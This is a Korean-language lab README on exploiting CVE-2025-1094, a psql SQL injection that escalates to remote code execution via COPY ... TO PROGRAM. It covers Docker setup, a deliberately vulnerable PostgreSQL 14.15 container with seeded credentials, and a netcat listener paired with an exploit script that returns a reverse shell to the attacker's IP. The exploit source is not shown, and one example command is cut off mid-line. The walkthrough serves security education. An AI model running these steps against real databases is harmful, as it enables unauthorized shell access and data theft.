
# CVE-2025-1094 악용 실습 랩 PostgreSQL psql SQL 인젝션을 악용하여 COPY TO PROGRAM을 통해 RCE(원격 코드 실행)로 이어지는 실습 랩으로, Docker 설정 및 리버스 셸 페이로드를 포함합니다.
⚠️ 면책 조항
이 실습은 교육 및 연구 목적으로만 제공됩니다.
본인이 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 여기에 소개된 정보나 기술을 사용하지 마십시오. 이러한 방법을 무단으로 사용하는 것은 법률 위반에 해당할 수 있으며 심각한 처벌을 초래할 수 있습니다.
CVE-2025-1094는 PostgreSQL의 대화형 도구인 psql 에 영향을 미치는 치명적인 취약점으로, 14.15 이하 버전에서 발견되었습니다.
이 취약점으로 인해 공격자는 SQL 인젝션을 수행할 수 있으며, 특정 조건에서는 원격 코드 실행(RCE) 까지 이어질 수 있습니다.
이 취약점은 psql에서 잘못된 UTF-8 입력을 부적절하게 처리하는 데서 발생합니다.
검증이 충분하지 않기 때문에 공격자는 임의의 SQL 또는 !(셸 이스케이프)와 같은 메타 명령을 주입할 수 있으며, 심지어 COPY ... TO PROGRAM을 악용하여 시스템 명령을 실행할 수도 있습니다.
COPY TO PROGRAM 악용: 공격자는 다음과 같은 임의 셸 명령을 실행할 수 있습니다:
/etc/passwd)psql을 사용하는 소프트웨어(예: BeyondTrust PRA, Remote Support)는 특히 취약합니다.Docker 설치:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Docker 그룹 권한을 적용하려면 재부팅 또는 로그아웃 후 다시 로그인하세요.
Python 및 종속성 설치:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ 공격자와 피해자 머신 간 네트워크 연결을 확인하세요.
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
컨테이너를 시작한 후 다음 명령으로 모든 것이 정상 작동하는지 확인하세요:
1. PostgreSQL 컨테이너가 실행 중인지 확인:
sudo docker ps
📌 포트 5432에서 수신 대기 중인 vulnerable_postgres라는 이름의 컨테이너가 보여야 합니다.
2. 컨테이너에 접속하여 데이터베이스 확인:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
psql 셸 내부에서 다음을 실행:
SELECT * FROM users;
예상 출력:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
psql 종료:
\q
✅ 이제 취약한 PostgreSQL 인스턴스가 실행 중이며 공격 준비가 완료되었습니다.
3. 컨테이너 다시 시작
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM을 악용하여 임의 셸 명령 실행💡 팁: 이 취약한 컨테이너를 스냅샷으로 저장해 두면 환경을 다시 구축하지 않고 나중에 재사용할 수 있습니다.